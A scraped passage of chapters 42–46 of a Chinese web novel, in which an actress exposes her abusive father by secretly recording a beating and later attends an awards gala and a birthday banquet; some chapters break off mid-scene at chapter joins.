岑橙没有穿鞋,光着脚丫坐在后面男生的怀里,是一个完全依赖的姿势。 她不吭声,只是往后靠,飞快抬眼打量了一下上方人的脸,在与对方即将对视上时又飞快低头。 二人回到家中,孙翠早已准备好晚饭,看见人,她招手说道:“回来了?过来吃饭。” 昏黄的灯光下,温暖的火炉旁,美味可口的饭菜,围坐在一起闲聊的家人。 “去年建的那所中学马上就要真正地开办了,要不了几天,学生应该都要陆陆续续地来报名了。”孙翠说。 “行,那个便利店我也筹划很久了,明天我去店里看一下,把要采购的东西都安排上。” “可以,我也不能落后了,早餐铺子还得接着干。” 吃完晚饭后,陈泽将女生带回她的房间,打来一盆热水,给她洗脚之前先说:“别怕,乖小橙。” 见她没有太大反应才握住她的脚伸进木桶里,低下头仔细地洗去那些走在路上沾上的泥巴。 男生的侧脸很好看,鼻梁高,下颌线分明,碎发有点长了,微微遮住他的眼睛。 岑橙还是不习惯被人触碰自己的脚,但是因为是陈泽,所以她只是皱着眉头。 第二天下雨了,温度降低,屋内还好,室外又湿又冷,陈泽的便利店要开业了,不得不去那边忙活,只能留女生和孙阿姨待在家中。 “师傅,就放在这儿。” “对对,那个也搬下来吧。” 一清早,他已经从批发市场拿来了众多物品,这会儿正和司机师傅在卸货。 雨丝毫没有要停的意思,他的衣服都淋湿了,面容上全是雨,视线有点模糊,看着不远处走来的人第一时间没有反应过来,他再定睛一看,突然动作慌乱地擦了下眼睛上的雨水,想也不想就朝雨中的人跑去。 岑橙全身只穿着一件单薄的裙子,两只脚丫孤零零地走在水泥地上,被小石头子划出了血。但是她像没有知觉一样,麻木的眼神在看到男生时终于恢复点活气。 陈泽几乎是冲过来的,毫不犹豫地将人横抱了起来,边朝着店里跑边有些情急地说:“不是让你乖乖在家等我吗?” “……” 男生跑得快,胸膛在剧烈起伏,呼吸也重,有一下没一下地拂过女生的头顶皮肤。 陈泽也不渴望她能给他什么回应,只是单手抱着人,另一只手打开便利店里的一间休息室,然后将岑橙放到了小床上,也不管她湿透的衣服会弄脏床铺什么的。 他放下人,退后几步,双手叉腰平复呼吸。 雨声淅淅沥沥的,拉货的师傅在外面叫人,两种声音混在一起,陈泽情绪有点难以控制,莫名地有点烦躁,刚想冲岑橙说什么,在抬眼看到她脚上的伤口时,火气扑哧地就熄灭了。 他扭了扭脖子,去卫生间拿了一块干毛巾,单膝蹲下,将女生的脚抬到自己的膝盖上,擦干水渍后,才用碘伏消毒,缠上纱布。 做完这一切,他站起身,看着她全身都湿透了,自己也不好给她换衣服,只要给孙阿姨打电话让她过来。 挂断电话,他出门与师傅交涉完工作上的事才将大门关上,回到休息室,用毛毯裹在女生身上,又拿吹风机给人吹头发。 房间里没有开灯,阴雨天光线暗,陈泽从始至终都沉默着不发一言,只有吹风机发出的嗡嗡声回荡在房间内。 等到头发吹干,机器的声音也没有了。 陈泽就坐在女生的身后,低着头突然说:“对不起。” “对不起,小橙。” 是他高估了自己,照顾一个“病人”并非容易的事情,像今天这样的状况,不会是几个月的时间,还可能是几年的事情。 听到男生的抱歉,一直没有反应的人缓缓扭过头,用一种近乎到死沉的平静眼睛看着他,如果陈泽这时候抬头,一定会发现那眼底是藏着多大的绝望。 女生照常在对方与他对视之前,先一步移开了目光,手中抓着的松软的毛毯缓缓放开时,听到侧旁的人声音响起。 “我今天没有控制好情绪,真的很对不起,小橙,但是以后我绝对不会再冲你大声说话了,工作上的事也是我的失误,明知今天下雨,我要陪伴你的,结果还是离开了你。” 他来到岑橙的面前,抓住人的手,眼神真挚,说:“以后再也不会发生这种事了,我向你保证。” 话音刚落,陈泽就看到至今令他难以忘记的一幕。 岑橙在流泪。 她的表情木然,可眼睛里源源不断地流出眼泪。 你也感觉到了吗? 被爱着的滋味。 陈泽不知为何也跟着眼眶一热,倾身向前抱住人。 “小橙,我不管你去津市的几年发生了什么,在我这里,在我陈泽的世界里,你就是你,你什么错都没有,知道吗?” 门突然被推开,孙翠看到二人相拥的场面微微惊讶,在看到转过身的陈泽眼睛时,想了想还是开口问道:“怎么了?发生什么事了?孩子。” “没事,”男生有点尴尬地擦了擦脸,起身准备离开房间,“孙姨,你赶紧给小橙换衣服吧,要不然过后着凉。” “——成。”孙阿姨懵着脸,上前几步靠近女儿,看出了她哭过的痕迹,她更惊愕了,不过好歹她对男生是百分百信任的,不会往其他方面想,既然陈泽说没事,那就还是不要过问的好。 陈泽将门带上,也没有去其他地方,只是坐在收银台后面的椅子上,拿出一条白色有线耳机戴上,打开手机看起了天气预报。 不稍片刻,孙阿姨打开休息室的门走了出来,后面跟着穿黄色长裙的岑橙。 陈泽起身,目光扫了过去,看到女生露在外面白得发光的脚,他的眉头皱了皱,最终还是没说什么。 从便利店到孙阿姨家很近,徒步十分钟左右就可以到,今天不营业,天色也不晚了,几人就打算先回去。 回去的路上自然是陈泽背着人,孙阿姨打着伞。 到家后岑橙对着卧室的一棵盆栽发呆,陈泽见她好像还挺乐意,就去了客厅找孙翠。 “孙姨。” “哎,怎么了,孩子。” “我有事对你说。” “先坐,坐下说。” 陈泽落座沙发一端,握紧手中的水杯,斟酌着开口:“要不要再试着给小橙穿鞋?” “可,我们之前不是试过吗?根本不可以啊。” 男生挠了挠头发,也不是很肯定地说:“我觉得现在不一样了,她也许比我们想的还要坚强很多。” 孙翠沉默下来。 “夏天还好,光着脚丫还凉快,雨天,我也还能像现在一样背她,抱她,但是冬天呢,她还喜欢到院子里的那个水缸旁待着,到时候不穿鞋,冷她也感知不到,这样是要出人命的。”陈泽说出了自己一直担忧的问题。 “……” “孙姨,我想要再试一试,我——不想再看到她受伤的画面了。”男生双手抱头,神色纠结又痛苦。 “……好,”孙翠长辈似的拍了拍人的肩膀,说,“我们再试一试,也只能如此做了,不管你怎么做,阿姨都支持你。” 陈泽从臂弯里抬起头,苦笑着说:“谢谢你,孙姨。” 孙翠斜睨了他一眼,用轻松的语气说:“别说的好像你跟小橙是一家人,我反倒成外人了哈。” “没有,没有,哪敢。”男生慌乱。 …… “这双可以吗?”陈泽蹲在鞋柜面前,挑选出一双舒适休闲的运动鞋问。 孙翠也蹲着,犹豫道:“要系鞋带的话,会不会她更没有耐心?” “但是这个魔术贴的声音,我怕会增加她的恐惧。” “要不就 42. 反击 《身体不说谎》全本免费阅读 程三好静静地听他们说,听到某处的时候,目光调转,特地看了一眼回到屋里就蹲在一棵大盆栽旁边的岑橙。 她的脚上穿着卡通中筒袜,鞋子是一双手工织造的棉鞋,一看就很暖和,冬天雪地里奔跑也没问题。 往上是宽松暖和的灰色卫裤,干净的针织白色毛衣,外套是男生的黑色羽绒服。 她在被好好爱着,可,程三好在看到那双昔日灵动的眼睛变成如今这般麻木无神时,终究忍不住低下头,紧紧咬紧牙关,将那股怎么压也压不下去的难过都堵在喉咙。 陈泽说着说着,见女生肩膀颤抖,止住了话头。 “……” “不是你的错,三好。”男生拍了拍她的左肩,自责道,“是我没照顾好她。” 女生摇了摇头,很快平复好情绪,抬眼问他:“我期间有打电话给你们,但你们怎么不跟我说?” “孙姨不想让你有压力。”陈泽无力说道。 程三好表示自己听到了一般点头,又问:“她两年前去的津市?” “是。” “离开之前,有跟你们说她是要去干嘛吗?” “……有说,”男生看向不远处蹲着人的背影,“她说,她从网上成功报名了一个什么选秀节目要一定去,那是她离梦想最近的一次,她必须去。” “然后呢?” “我……没有资格阻拦她,孙姨也凑够了钱支持她。起初她还每周打一次电话回家,后来说她节目规定不能带手机,所以有将近两个月的时间,我们之间没有了联系,直到那档节目播出,我们看到了她,她也主动联系起了孙姨。再之后,她越来越忙,大家的联系便越来越少。孙姨不好打扰她,但是眼见失联时间超过三个月,我就去了津市找她,在一条街上看到了穿着华丽、花着浓妆,头发散乱,已经神志不清的她。” “她当时完全认不出你是吗?”程三好皱紧眉头,想从这些零碎的回忆里找到一点蛛丝马迹。 她不信,一个好端端的人怎么会突然就“疯”了呢,这太匪夷所思了,一定是她经历了什么受到刺激才会这样。 陈泽道:“是的,她看我的眼神陌生而空洞,为了让她跟我回家,我花了很多时间让她重新记得我,信任我,才离开那个眼花缭乱的都市回到这里。” 这其中艰辛不言而喻,可男生全程平静地陈述着,半点没有埋怨的意思。 程三好将这些看在眼里,沉默了片刻,问出了自己心中的疑惑:“你,还有孙姨,难道不想知道她在津市是遭遇了什么才会变成这样吗?不想替她抱不平吗?” 一直安静的孙姨开口说话了,她苦笑道:“不重要了,过去发生什么真的都不重要了,只要橙儿好好地待在我身边就足够了,我不敢……再苛求什么。” …… 月朗星稀,树影婆娑。 这会儿屋里的人都睡了,只有程三好翻来覆去地睡不着,她抬头看着天花板发呆,突然想到什么一骨碌地爬起来找手机。 手机早没电关机了,刚充电开机,好几通未接电话以及无数条信息蹦了出来。 她也见怪不怪了,毕竟现在她还处在风口浪尖。 那天肖乐保问她要如何应对这场突发而来的谣言,她当时是真有办法,此行前来就是想要让孙阿姨做一个证人。 当年程生泉和她吵架,最终自己摔下楼梯的事只有孙翠一个外人在场。 程三好当时暂时离家出走,等回到家,才发现孙阿姨被解雇了,想来是程生泉的手笔,他怕孙翠向程伟国他们说出实情,便随便找个法子就支走了人。 如今得知了岑橙的事,程三好只能断了这个念头,不想让孙阿姨的生活再添麻烦。 不顺之事真是一桩接一桩,女生在黑夜里闭着眼睛呼出一口气,再睁眼时,神色已经有了变化,像是下了某种决心。 …… “这么快就要走了?” 几人站在村口,孙翠拉着程三好的手不舍地说道。 “嗯,工作上有点急事。” 陈泽递过手中的袋子,说:“给,一点小心意。” 程三好有点意外地挑眉,接了过来打开看了看,都是一些本地的特产,尤其是其中一盒干蘑菇,拿到市场上买可是一百元一斤,及其稀有。 “真大方,”女生笑了笑,动动手中的东西,冲人道,“谢了。” 陈泽刚点头,忽然被程三好拉着衣领靠近,对着他的耳边轻声说道:“岑橙的事我会彻查到底,到时候希望你不要有所隐瞒才好。” “自然。”男生镇定回道。 “行,”程三好放开人,嘴角上扬,眼睛却没有笑意,“我走了。” 她挥了挥手,最后定定地看了眼站在陈泽旁边的岑橙,这才转过身走了。 …… 回到公寓后,程三好先是联系到关于许琪差点被□□发生的地方派出所,让对方出具完整了监控视频。所长很爽快,让底下工作人员连夜注册微博账号,报道这一起案件。 女生向对方道了谢,挂断电话后又打给了肖乐保。 “帮个忙。” “啊,大哥,说什么帮字呢,真让人惶恐,小的我别说——”电话那头的人戏很足。 程三好无奈扶额,只能打断他说:“帮还是不帮?” “扑通——”电话传来一声响,紧接着传来了肖乐保郑重其事的声音,“尽管吩咐,大哥。” “帮我去接个人,地址待会儿我发你。” “诶,好嘞。” 做完这两件事,程三好掏出抽屉里没有用过的录音笔,看了半晌,最终还是揣进了兜里。 今天周末,程伟国他们在别墅前的院子里架起了铁架子,准备来一场久违的家庭烧烤。 食材都被保姆洗干净切好放到了露天大桌上,黎萍戴着墨镜躺在一张巨大的太阳伞下,看着不远处的父子二人生火。 木炭容易点燃却不容易保持,得人工去不停地扇它,直到变得通红一片,到时候就可以拿铁板架着食物烤了。 程生泉不停地用蒲扇去扇,眼睛被烟熏得不行,扭头咳嗽了几声,抬眼时,看到了不速之客。 “爸爸,咱们家来人了。” 程伟国在这样的场合依旧穿着商务西装,闻声看了过去,脸色当即沉了下来。 程三好踩在草皮上,走得却很稳,她来到院中央,像是没察觉到三人不欢迎的眼光一样,自然地露出笑容喊人:“爸,妈,还有弟,在吃烧烤呢? 43. 以身入局 《身体不说谎》全本免费阅读 “砰——” 程伟国黑着脸将烟灰缸砸向了地面,露出真实的、丑陋的面孔,抬手指着女生说:“给你脸了是不是?” 他声音很大,却又压得很低,让程三好倏地想起了过去被他打时所带来的疼痛,那种痛感几乎要刻进她的骨髓里,想忘也忘不了。 今天来之前,她就已经做好了所有的心理准备,但是很显然低估了自己的肌肉记忆。程伟国一拉下脸,她就几不可见地心颤了一下。 “……” “怎么不说话了?”程伟国重新翘起二郎腿,气势压得屋内众人大气不敢出,“刚才不是拽得很吗?你再拽一下试试?” 程三好姿势没变,甚至神色还是漫不经心的样子,不紧不慢道:“与方家的这婚,我,不结了。” “啪——” 程伟国当即被气得火大,想也不想就朝女生甩了一耳光。 “你个犟种,我当你洗心革面,没想到还是狗改不了吃屎!” 成年男人的力道极大,程三好身体也被带着侧向一旁,脸红辣辣地疼。 程生泉又是兴奋又是害怕地紧紧拉着黎萍的肩膀,眼睛定定地看着,像是什么精彩的电影一般,生怕错过一秒。 程伟国一直是个情绪及其不稳定的人,上一秒可以跟你谈笑风生,下一秒翻脸比翻书还快。 黎萍了解自己丈夫的性格,所以在他发脾气时通常也不敢说话。 “你十一岁时,我和你妈就将你从乡下接过来,好吃好喝伺候着,供你读书又供你读艺校,你才会成为如今风光的明星不是吗?都这样了,你对我们还有什么不满?啊!” 程三好坐直身体,像是压根不记打,依旧慢悠悠地开口:“我没有不满,我说了,你们待我很好。都没有说你们在我生病的时候没有陪同,都没有说你们不支付外婆的医药费,都没有说啊——嗬嗯,” 程伟国一看她这幅样子就来气,理智全然没了,都不等她说完,上脚就踹。 男士皮鞋鞋底可硬了,踹人身上跟把钝了的刀扎人似的,一捅一个印。 程三好缩在地上,双手紧紧抱住自己的脑袋,哪怕在不停地被揍,也要把话说完:“都没有说你们……呃……私自篡改我的学籍,将我转学,都没有……嗬……说你们改了……嗯……我的高考填报志愿。” “我打死你个白眼狼,看你还说不说啊!”程伟国怒极,脚上用了全力,面目狰狞。 “都没有说在过去的十年里,父亲你……啊!对我施暴……嗬嗯……近五十次,也没有说你们……嗬……要把我当成棋子,被迫嫁给……不喜欢的人,更没有说……” “气死我了,你个畜生,今天我不打死你,我就不出这个门!” 程伟国其实从来没这样打过程三好,踹得人口鼻是血,浑身是伤,但是他的怒气被点燃了,烧毁了所有理智。 “更没有说,当年……程生泉是自己摔下的楼梯……嗬嗯结果你们冤枉我,还打我……” 程生泉都有点不忍心地转过头,心里直犯嘀咕。 这程三好只要好好地求个饶,道个歉就完了,怎么还不停地拱火,真是愚蠢。 他这样想着,突然听到女生提起那件事,那点怜悯顿时没了个干净,往后扬了扬脖子,余光里看到他妈站起了身。 “好了,”黎萍拉住丈夫的手,劝道,“人已经昏了,再打下去就出人命了,到时候和警察说不清楚。” 客厅里的两个保姆一个司机师傅也跟着应和道:“对啊对啊,给她个教训就好了,程小姐以后肯定不会再反抗您了。” 大家围着程伟国转,生怕他累坏了,又是点烟又是捶肩的,无人注意趴在地上的女生,眼角缓缓划出了一颗泪。 …… 随着公安放出的完整视频转发量的攀升,#程三好暴力事件反转#词条迅速登上文娱榜前十,众多网友在线力挺,风评似乎有所扭转,然而这远远不够。 程三好作为公众人物,日后一言一行都被大众媒体监视,被观众解读,少不了被有心之人杜撰利用。她不可能每一次都像现在这样,针对每一则谣言去进行反驳推翻。 起初大家还能相信她的话,可这样的事件多了,就会发生“狼来了”故事效应,失去观众信任的她,职业生涯也到头了。 昨天程三好只是假装昏迷,等众人反应过来时,人已经离开了程家别墅。 她回到自己的公寓,对着镜子撩起衣服下摆看了看伤势,密密麻麻的淤青,没一块好肉。不过好在她护住了自己的脑袋和腹部,所以肝脏并未受损,都是外伤,擦点跌打损伤的精油,过了十天半月,想来痕迹就消了,但是现在不是治疗的时候。 程三好吐了口气,强撑着拍了几张照片,然后将一个录音文件导入电脑,简单地剪辑了一下,导出来发送到一个叫大象娱乐媒体号的邮箱。 做完这一切,她刚要从电脑前站起身,就听到了“叮铃”一声,是对方发来了邮件。 她有点意外,点开浏览起来,只有寥寥几句:程女士,我社接受你的委托,采访地点安排在你家,时间在明天下午三点,意见如何,期待你的回信。 程三好一敲键盘,发送去了邮件。 第二天下午三点,公寓的门被敲响,程三好昨夜疼得睡不着觉就吃了一点止痛药,这会儿刚醒没多久。 她趿着拖鞋走过去打开了门,看见几个戴着工作牌,手持麦克风的人员。她让开身体,让他们进了屋,眼睛看着对面电梯,缓缓关上了门。 华映娱乐公司办公大楼顶部,江邱推开这层唯一的办公室,抱着文件夹阔步走进去,直到行至一张黑色雕纹木桌前才堪堪停住脚步。 “老板,这是你要的文件。”他双手奉上,微微弯腰。 江砚视线从电脑里抽离,接过江邱手中的东西翻看起来,没有抬头,淡声道:“她那边可有什么动静?” 江邱:“找了记者。” “……”江砚合上文件,看了一眼江秘书,语气懒散,“我是说江权清。” 江邱识相地拍了下自己的脸,认为是自己会错了上司的意思,一时间十分羞愧,马上更改道:“被韩家保护在千层庭,我们的人进不去,得不到具体房间号。” 办公室安静一瞬,江邱保持着动作没变,过了一会儿才听到上方的人说话。 “保护?”江砚勾唇一笑,眼神却像蛇一般,冷得人脊背发凉,“我看未必。” “怕是要敲口大的。”江邱说。 “也要看看他有没有那个肚子吞得下。” 江邱直起身,感到疑惑:“对啊,但是韩家的人迟迟没有联系我们,也没有道理。” 江砚拿过一旁的手机,点开某个软件页面浏览起来,像是没看到威胁一般,说:“等他们溜,让兄弟们守株待兔不要急。” “明白。” 江邱离开后,办公桌后面的男人转了转手机,正在犹豫要不要拨打某个电话时,先看到一则微博,点进去一看,眉头皱紧了。 程伟国坐在豪车后座闭着眼睛,前方有司机开车,正在驶向公司,车水马龙的路上出了几起车祸,到处是交警在疏通道路,鸣笛声起此彼伏,霓虹灯闪烁不停。 “ 44. 阳光之下 《身体不说谎》全本免费阅读 “正如你所见,我现在的确遍体鳞伤,但我不后悔。相信看过大象娱乐官方发出的视频的朋友也从中发现了一些细节,没错,我的确存心激怒我的父亲,但令我没想到的是,他会下手如此重……这些都不重要了,我所遭受的一切远比我在视频里说的要多得多,录音是我录下来的,也许会有人说我心机重,那也无所谓了。” 程三好苦笑了一下,接着面对镜头继续道:“我之所以这么做,绝非仅仅是因为最近针对我的谣言,而是心中不平。在我儿时需要依赖父母的时光里,他们成为了我心中的阴影,等到我终于拼尽全力以为摆脱他们可以独立生活时,为何又要成为我工作上的阻碍,明明我什么错都没有……我有何错?” “我只是在努力地活着罢了了,我从未想过要以这种方式来博得同情,鲜血淋漓地剖析自己,展露自己,就为了破除那些莫须有的谣言,可我不这样做,我永无宁日……” 视频里的人眼神渐渐坚定,一字一句地说道:“那我便将自己暴露在阳光之下,那些所有的黑暗和邪恶尽管来,我将无惧所有!” 黑夜长得像是没有尽头,可人们心中还是清楚,曙光终会到来。 观看完视频的人一时间没有动,世界好似变得安静了,抬头朝窗外望去,白色的像羽毛一样的东西缓缓飘落。 今年的第一场雪来了。 嘈杂纷乱的声音淹没在翌日的大雪下。 …… “没事吧?大哥。” 肖乐保正在去往萍水镇的路上,昨晚在宾馆简单地休息一下,第二天早晨就出发了。 窗外飞驰而过的风景都被银雪裹上了白色的被子,看到微博热搜后第一时间就打给了程三好。 “没事。” 女生端着个玻璃杯站在落地窗前,睡衣宽大地拢在她身上,手上脸上都是创可贴,窗子打开着,寒风簌簌,她像是没感觉到冷,浅酌了一口牛奶,淡淡地回了一句。 “抱歉,什么忙我都帮不上你。”电话那头传来肖乐保沮丧的声音。 程三好轻笑一声,姿态十分放松,开玩笑道:“下次我再被揍拉你当肉垫好了。” “……”肖乐保一噎,疑惑道,“不应该我们一起逃跑吗?咋能一直待着让程伟国那傻逼揍呢?” “也是哦。” “……话说下次,大哥你还是不要以身试险了,要不是最后黎萍拦住,你真的会被他打死的。我光听音频就不忍心继续听了。” 女生转过身,光脚踩在地毯上,敷衍似的点头:“嗯嗯。” 肖乐保把着方向盘,目视前方,想了想正色道:“我知道这是你孤注一掷的计划,所以我不阻拦,但是不要再这么拼命了。” “……好,”程三好顿了顿说,听到门铃响起来,抬手边摘耳机边走了过去,“挂了,路上小心。” “诶,好,”肖乐保抖了抖肩膀,像是一点也不适应自己煽情的样子,语气又活泼起来,“使命必达!” 程三好嘴角弯着,伸手打开门,抬眼望去,神情一下僵住。 “……” 见人发愣,男人主动打招呼:“好久不见。” 女生眨了下眼睛,下意识回道:“好久不见。” 江砚笑起来,全身透着一股风尘仆仆赶来的意味,棱角分明的脸上哪怕有雪化成的雨滴也不影响他的英俊。 他提了提手中的东西,一双桃花眼里只有一个人,声音不大,刚好只能两人听到:“来看望小可怜。” “……” 她显然还在状况外,男人眼里都是笑意,低下头靠近,“不欢迎?” 程三好的确感到很懵,最近一段时间一直在忙着自己的事情,又看到岑橙变成那样,完全没有空思考旁的事或者人了。 明明也没有很久,但在看到风餐露宿站在门外的男人时,她心脏还是服从身体的本能,偷偷停跳了一拍。 眼见江砚表情越加“欠揍”,程三好反应过来,眼神瞄向别处,问道:“你来干什么?” 男人反而在女生移开视线后,才敢将目光投射到她的身上,看到了她裸露在外的皮肤,眉头几不可见地一皱。 “给你送温暖。”语气倒是依旧轻缓。 程三好自然料到了他手中提着的东西是什么,冷静地“哦”了一声,像是对一颗心跳如雷的心脏没感知似的,然而垂在身体两侧的手搓了搓睡裤这个小动作还是暴露了她内心的某种情绪。 江砚没注意到,见她像个门神一样杵着,说完那个字就没了下文,无奈地轻笑一声,才开始了他的表演,神情失落地说:“看来是真不欢迎我……” 侧着脸的女生闻言扭过头,却刚好与那人对视个正着。 楼道里很安静,恍惚中,给程三好一种错觉,像是整个世界只有他们两个人似的。 这个时候,要是她移开视线,到显得她心里有鬼。于是倔强的女生面上四平八稳地说:“没有的事。” “那,为什么我在门外站了十几分钟了,也不见得某人邀请我进屋呢。”江砚神色受伤,还嘶了一声,耸了耸肩,继续下猛药,“这个冬天真冷啊。” 原先还装得像模像样的人耳朵一下烧了起来,红得异常显眼。 “快,请进来吧。”女生少见地慌乱,话都没说清楚就转过身朝屋内走去。 江砚紧跟其后,眼睛已经无法从前面人的背影移开了。 …… 房间有点杂乱,沙发上放着衣服,办公区域的电脑没关,屏幕亮着。 江砚礼貌地坐在客厅沙发上,将手中的东西放到前面的实木茶几上。 女生进厨房给两人倒了两杯温开水,端着出来时,耳朵绯色已经淡了些,但神色还是弥漫着一点不自在。 “……水可以吗?”她没看人,视线落在旁处。 江砚坐直身体,说:“可以。” 程三好眉头几不可见地皱了一下,像是对空气中散发的奇怪氛围有点过敏。 “咳。”她佯装咳嗽一声,落座时目光难得抬起来扫视了一圈,尽量不与人对视。 家里客厅有两张沙发,一张正对着对面的墙壁的电视机,较长,适合招待客人,一张在靠近阳台窗子的一边,较短,适合一个人蜗居。 江砚坐在了正中间的沙发上,很靠边。 程三好犯了难,要是坐在单人沙发上,会不会显得江砚身边位置太空,他会不会特地留出来的,就是为了二人好交流? 男人见人杵着,像是看懂了她的心思,反客为主道:“怎么了?过来坐。” 女生点头,镇定地在沙发另一边坐下。 江砚全 45. 风云故事 《身体不说谎》全本免费阅读 “他们扎根基层,用摄像头真实地记录下工人的艰辛与不易;他们不畏严寒,徒步到海拔高三千米上的草原取景,只为呈现影片中一闪而过的一帧画面;他们也曾裹着重十斤的戏服,在高温下的沙漠里不知疲倦地完成每一场戏……在影视行业中,无论台前还是幕后,每一个岗位上的人员都不容易,是他们每一个人的付出,才有了每一部精彩影视的呈现。” “各位下午好,我是主持人李默纹。 “白熊奖可谓一路陪伴并见证了中国电影的成长,我们今天相聚在这里,不但是为了举办第二十届白熊奖颁奖典礼,更是为了庆祝白熊奖建立四十周年生诞。在座的嘉宾无一不是带着作品而来,我知道你们已经迫不及待了是不是?好,我宣布白熊奖颁奖典礼暨四十周年生诞正式开幕!” 大堂里响起如雷一般的掌声,紧接着灯光一暗,音乐响起。 激昂人心的开场表演随着镁光灯的绝妙配合,渐渐缓解了众人的紧张感,有嘉宾甚至对着摄像头比起了手势。 气氛被活络起来,颁奖典礼有序地进行。 “好,接下来来到万众瞩目的最佳影片,请看VCR。” “入围第二十届白熊奖最佳影片的有:《一个小村庄》《黑与白》《喜事》《我的父亲》” 每提到一部影片,后面就会插播一段影片精彩片段,短片结束后,开奖嘉宾看着手中的词本相视一笑,显然对结果丝毫不意外。 “这世道逼着人非黑即白,有人在大浪淘沙中选择了妥协,有人在洪流中毅然前行,不论哪一种,最终无非一抔黄土,带进了坟墓。这部带有现实主义又极具悲观主义的影片,鲜血淋漓甚至有点极端大胆地剖析人活着的意义,给人无语凝噎却又醍醐灌顶的感受,无疑是一部巨作,最佳影片《黑与白》实至名归!” “有请制作公司华策影业CEO蒋明先生上台接过这份荣誉!” 镜头一扫而过,江砚坐在前排,漠然地鼓了鼓掌。 旁边坐着的是圈内出了名的制片人或者投资人,其中一个身材有点肥胖的男人看着台上耀眼的同行,侧身与江砚交谈道:“你们年轻人牛啊,这么些年,就没有哪个公司能撼动你们一二。” 江砚举杯与人碰了一下,面上挂上谦逊的微笑:“哪里哪里,你知道的,这些都是我爷爷留下的罢。” “哈哈,”男人眼里都是对小辈的欣赏,听到某个人,语气钦佩,“这么说也没错,你生活在这个时代不懂,但是在我们那个年代,你爷爷江全驰的确是眼光毒辣,本领超群……来,竟然说到这,我就好好给你说说关于他的故事……” 江全驰出生在普通的家庭,父母皆是车间里的工人,在那个会饿死人的年代,已然是十分幸运了。 后来大学毕业后,成功入职一家企业,当一位文员。 那会儿电视开始由黑白转向了彩色,国外电影开始进入国内市场,电影院的建立也随之而起。 江全驰痴迷于电影,也从中敏锐地察觉到某个商机。 他怀着激动的心情,想要找到一部国产电影在电影院观看,却发现没人去看,更没有排片,再到市场一看,中国电影寥寥无几。 在国内电影低迷的时期,国外已经涌现大量优秀的影片,比如《肖申克的救赎》《阿甘正传》,而自己的国家呢,一部《那山那人那狗》明明也很不错,却是票房惨淡,反倒在海岛国大放异彩。 江全驰认为:“我们国内并不缺好的导演,不缺好的题材,几千年传统文化更是博大精深,为什么不打造属于我们的电影市场呢?” 于是在很多导演投资人纷纷奔赴国外市场,打造电影时,江全驰就是有那个魄力,不断融资开展国内影视,终于在他的坚持下,中国电影渐渐绽放出它的异彩,独特的武侠、道家文化等新题材的电影给了人们眼前一亮的惊喜。 公司越做越大,江全驰没有停下脚步,利用转来的钱疯狂投资房地产,正好赶上国内经济大复苏,大量的同胞回到故乡,寻求一份安稳,这让年仅三十五岁的江全驰一下成为了津市首富。 创业过程肯定充满了艰辛,也在不停地失败,但江全驰将目光瞄准娱乐影视行业无一是准确的选择。 大浪淘沙中,无数人争先恐后地涌入这个行业,不乏赔得裤衩子都不剩的人,然而这块肉太诱人了,谁见着都要来咬一下。 江全驰之所以能坚持到最后,其中一点就是他有自己的原则,他始终坚信,电影不仅质量要好,不滥竽充数,也要宣传,敢于沉没成本,用心去做,它自然会走进观众的心里,一个良好的循环就是你打造好口碑的途径。 当然,他能成功建立江财集团,少不了家人的支持,后来娶的妻子更是身份不凡,不但在资金上轻松支持,在房地产开发时,需要上面的拨款时,也有渠道可以联系到相关人员。 江砚听到这里,微微诧异,他知道奶奶的家族很庞大,但没想到这么大,简直就是有钱又有势,怪不得爷爷有时念叨起伴侣时总会说:“你奶奶娇气得很,有次弄别墅里的玫瑰,不小心划伤了手,见到我,眼泪跟珍珠似的,哗哗地流哟,我哄了好半天,后面更是衣食住行都亲力亲为,她才展颜。” 老头儿说起老伴虽然满嘴嫌弃,可神情却不像那回事儿:“还有一次,我工作回家晚了,她就一直给我摆脸色。我当时又累又饿,就在客卧休息了。直到第二天照顾她起居的阿姨跟我私下说,她整宿都没睡,还煲了汤等我,自那以后,我就再也不敢加班到很晚了,欸,就怕她生气,所以你看,她是不是很难伺候。” 江砚每每听到这些,都会不由自主地看向客厅靠近阳台的地方,那边墙壁上摆着一张照片,正是他的奶奶。 女人背对大海,穿着白色长裙,捧着向日葵微笑着看向镜头,她的笑容十分具有感染力,让看到这张照片的人都会在某个瞬间感 46. 生日宴会 《身体不说谎》全本免费阅读 位于津市市中心的一家私人定制餐厅顶楼,穿着燕尾服的侍者穿梭在装饰富丽梦幻的大厅,有条不紊地摆放餐具,整理刚空运过来的玫瑰。 整个厅堂色调偏向海的颜色,站在落地窗前,从上往下俯瞰,整个津市像是被踩在脚下,望向远方,则可以看到被海浪冲刷着的椰子树,在风的吹拂下摇曳。 下午三点,穿着礼服的宾客陆陆续续到达,无一不是上流圈层的人,谈笑之间,松弛有度,像是十分习惯了这样的宴会。 程三好收到邀请函,也拾掇拾掇自己穿上裙子赶来赴宴。 她身上的伤好了许多,就是印记有点吓人,周围的宾客带着探究的目光断断续续地打量着这个女生。 程三好握着一杯橙汁,在甜品站前徘徊,像是压根不注意,或者当她打算从衣橱中拿出裙子时,她就已经做好了心理准备。 不一会儿,人群热闹起来。 许父站在大厅最前面,举着香槟冲下面人说:“感谢各位来参加小女的生日宴会,看这排场,真是给面子啊哈哈,来,我敬你们一杯!” 众人笑起来,氛围一时十分融洽,配合着微抬高脚杯。 程三好静静地待在角落,嘴角微扬,突然被人从后面拍了下肩膀。 “嗨,三好!” 韩小希这会儿刚到,看得出来有点匆忙:“这鬼地方,差点没找到。” 见她气喘吁吁的,程三好拿过一杯西瓜汁递给她:“先喝点吧,休息一下。” 韩小希一副要哭出来的样子:“好感动,谢谢三好!” 她含着吸管猛灌几口,才感觉人活过来了,看了看周围,疑惑问道:“肖乐保没来?还有赵柯呢?” 同样在找人的还有今天这场宴会的主人公许琪,她穿着浅蓝色的长裙被人里三层外三层地围住,竭力伸长脖子去看,就是没看到想要看到的人。 “长那么大了啊,小琪。” “小琪真是越来越漂亮啦。” 长辈们夸赞的话一套接一套,许琪出于礼貌,只能将视线收回来,一一地回应。 不一会儿见到程三好他们走过来,许琪才真切地笑起来,“你们来了啊?” “嗯,生日快乐。” “嘿嘿,”许琪毕竟才刚满十九岁,还青春年少得很,没啥心眼儿,“你们能来我真的太开心了。” 韩小希笑出声,莫名有点宠溺的意思:“还嘿嘿呢,都大学生了。” 三人接下来又交流了几句,许琪愣是没问某个人。 “小琪,过来这边,你张伯伯要与你说说话。” “哎,好的。” 程三好及时递出手中的东西:“给,生日礼物。” 许琪表面无所谓实则很开心地边伸手拿过来边说道:“害,你们人到就行,带啥礼物。” 